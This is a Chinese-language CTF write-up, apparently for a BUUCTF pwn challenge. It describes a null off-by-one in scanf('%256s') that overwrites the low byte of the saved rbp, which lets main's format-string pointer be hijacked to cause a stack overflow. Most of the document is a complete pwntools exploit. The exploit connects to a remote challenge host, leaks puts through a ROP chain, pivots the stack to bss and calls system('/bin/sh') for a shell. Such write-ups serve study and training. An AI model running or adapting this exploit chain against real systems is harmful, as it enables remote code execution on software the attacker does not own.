首先,检查一下程序的保护机制
然后,我们用IDA分析一下,在add函数里的scanf(“%256s”,&s)存在null off by one,其结果是将在栈里的rbp值低1字节覆盖为0。
将栈里rbp的值低1字节覆盖为0后,其结果导致main函数的rbp上移,这样,我们就可以在add里的可控缓冲区里控制main函数里scanf的格式化字符串指针,我们将其修改为%236s的地址,这样就能在main函数里进行栈溢出,做ROP。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *sh = remote('node3.buuoj.cn' ,28076 ) libc = ELF('./libc-2.23.so' ) pop_rdi = 0x0000000000401003 pop_rsi = 0x0000000000401001 pop_rbp = 0x0000000000400fff pop_rsp = 0x0000000000400ffd bss = 0x0000000000602800 puts_got = 0x0000000000601F90 scanf_got = 0x0000000000601FF0 format_str = 0x0000000000401129 jmp_ptr_rbp = 0x00000000004012B3 def add (content ): sh.sendlineafter('>' ,'1' ) sh.sendlineafter('Note:' ,content) sh.sendlineafter('Input your ID:' ,'haivk' ) payload = 'a' *0xA8 + p64(format_str) payload = payload.ljust(0x100 ,'a' ) add(payload) payload = 'a' *0x64 payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(pop_rbp) payload += p64(puts_got) payload += p64(0 )*2 payload += p64(jmp_ptr_rbp) payload += p64(pop_rdi) payload += p64(format_str) payload += p64(pop_rsi) payload += p64(bss) payload += p64(0 ) payload += p64(pop_rbp) payload += p64(scanf_got) payload += p64(0 )*2 payload += p64(jmp_ptr_rbp) payload += p64(pop_rsp) payload += p64(bss) sh.sendlineafter('>' ,payload) sh.recv(1 ) puts_addr = u64(sh.recv(6 ).ljust(8 ,'\x00' )) libc_base = puts_addr - libc.sym['puts' ] system_addr = libc_base + libc.sym['system' ] binsh_addr = libc_base + libc.search('/bin/sh' ).next () print 'libc_base=' ,hex (libc_base)print 'system_addr=' ,hex (system_addr)print 'binsh_addr=' ,hex (binsh_addr)sleep(0.2 ) payload = 'a' *0x18 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) sh.sendline(payload) sh.interactive()